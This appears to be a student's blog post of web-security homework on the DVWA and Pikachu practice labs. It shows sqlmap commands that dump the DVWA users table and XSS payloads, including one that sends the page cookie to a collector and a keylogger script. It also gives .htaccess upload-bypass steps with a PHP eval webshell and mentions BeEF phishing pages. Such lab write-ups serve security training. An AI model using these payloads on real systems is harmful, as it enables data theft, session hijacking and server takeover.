当前位置: 首页 > news >正文

第八周作业

1、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入

使用kali自带的sqlmap工具进行

(1)爆破库名

sqlmap -u "http://10.0.0.5:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie "PHPSESSID=krb7v0sja509fh1v1eqqe7oeo5; security=low"  --batch --current-db

在这里插入图片描述

(2)爆破表名

sqlmap -u "http://10.0.0.5:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie "PHPSESSID=krb7v0sja509fh1v1eqqe7oeo5; security=low"  --batch --tables -D "dvwa"

在这里插入图片描述

(3)获取字段

在这里插入图片描述

(4)获取数据

qlmap -u "http://10.0.0.5:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie "PHPSESSID=krb7v0sja509fh1v1eqqe7oeo5; security=low"  --batch --dump -T "users" -D "dvwa"

在这里插入图片描述


2、XSS

(1)完成DVWA靶场存储型XSS的漏洞练习

插入代码:

<script>console.log("你好")</script>

在这里插入图片描述

(2)使用pikachu平台练习XSS键盘记录、前台XSS盲打攻击获取cookie,利用cookie实现登录

键盘记录攻击

  1. 在pikachu靶场下的pkxss/rkeypress目录里有一个rk.js文件,这就是我们的pload
    在这里插入图片描述

  2. 在dvwa中的xss存储型靶场中去使用
    在这里插入图片描述

  3. 在pikachu管理后台查看,发现成功记录
    在这里插入图片描述

前台XSS盲打攻击获取cookie

  1. 插入payload
<script>document.write('<img src="http://127.0.0.1/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script>

在这里插入图片描述
利用cookie进行登录
安装插件cookie-editor,将得到的cookie保存
在这里插入图片描述
2 而后直接访问对应路径即可直接进去,注意:这个方法需要保持原有dvwa靶场使用处于登录状态,否则cookie会失效

(3)使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码

3、文件上传
(1)客户端绕过练习
(2)服务端黑名单绕过:给出.htaccess文件绕过的具体步骤
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,
可以帮我们实现:
网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列
表、配置默认文档等功能。上传.htaccess文件,来绕过黑名单。
前提条件
1.mod_rewrite模块开启
2.AllowOverride Al
先创建一个.htaccess文件,注意htaccess文件不需要名字。写入下面代码

<!-- .htaccess文件 -->
<FilesMatch "magedu.jpg">
Sethandler application/x-httpd-php
</FilesMatch>

然后创建一个magedu.php的文件

//magedu.jpg
<?php @eval($_POST["magedu"]);?>

写入上面代码后将后缀改为jpg后
先上传.htacess文件
在这里插入图片描述
再上传magedu.jpg

http://www.xdnf.cn/news/24139.html

相关文章:

  • alertManager部署安装、告警规则配置详解及告警消息推送
  • 工厂方法模式详解及在自动驾驶场景代码示例(c++代码实现)
  • Linux根据 PID 进行性能分析
  • 三格电子——PROFIBUS DP设备长距离传输和干扰问题解决办法
  • ffprobe 输出 HEVC 码流 Level:标准的 “错位” 与分析的 “归位”
  • javaweb-servlet-继承关系以及service方法、servlet生命周期
  • LabelImg打标工具的下载和使用——YOLO格式篇
  • open CasCade下载
  • RVOS的任务调度优化
  • OJ笔试强训_1至24天
  • `peft`(Parameter-Efficient Fine-Tuning:高效微调)是什么
  • 接口测试的原则、用例与流程
  • Git学习之路(Updating)
  • 《软件设计师》复习笔记(11.3)——需求获取、分析、定义、验证、管理
  • 欧拉系统升级openssh 9.7p1
  • 【AI】实现中文文章摘要的AI模型
  • 【失败】Gnome将默认终端设置为 Kitty
  • 如何在Linux系统中部署C++ Web应用
  • Sa-Token使用指南
  • 1 Celery 简介
  • cpolar 内网穿透 实现公网可以访问本机
  • top100 (6-10)
  • 字符串循环拼接,不能用 + 连接, 需要用 StringBuilder 代替
  • 全球唯一电解方式除湿器 / 加湿器 RS1 ROSAHL 微型 易安装
  • Logisim数字逻辑实训——寄存器设计与应用
  • 稳态模型下的异步电机调速【运动控制系统】
  • 《软件设计师》复习笔记(13)——结构化开发方法
  • 2021-11-09 C++倍数11各位和为13
  • 哈电汽轮机携林重型燃机登陆2025涡轮展,5月苏州相见
  • 嵌入式通信协议与编程逻辑完全指南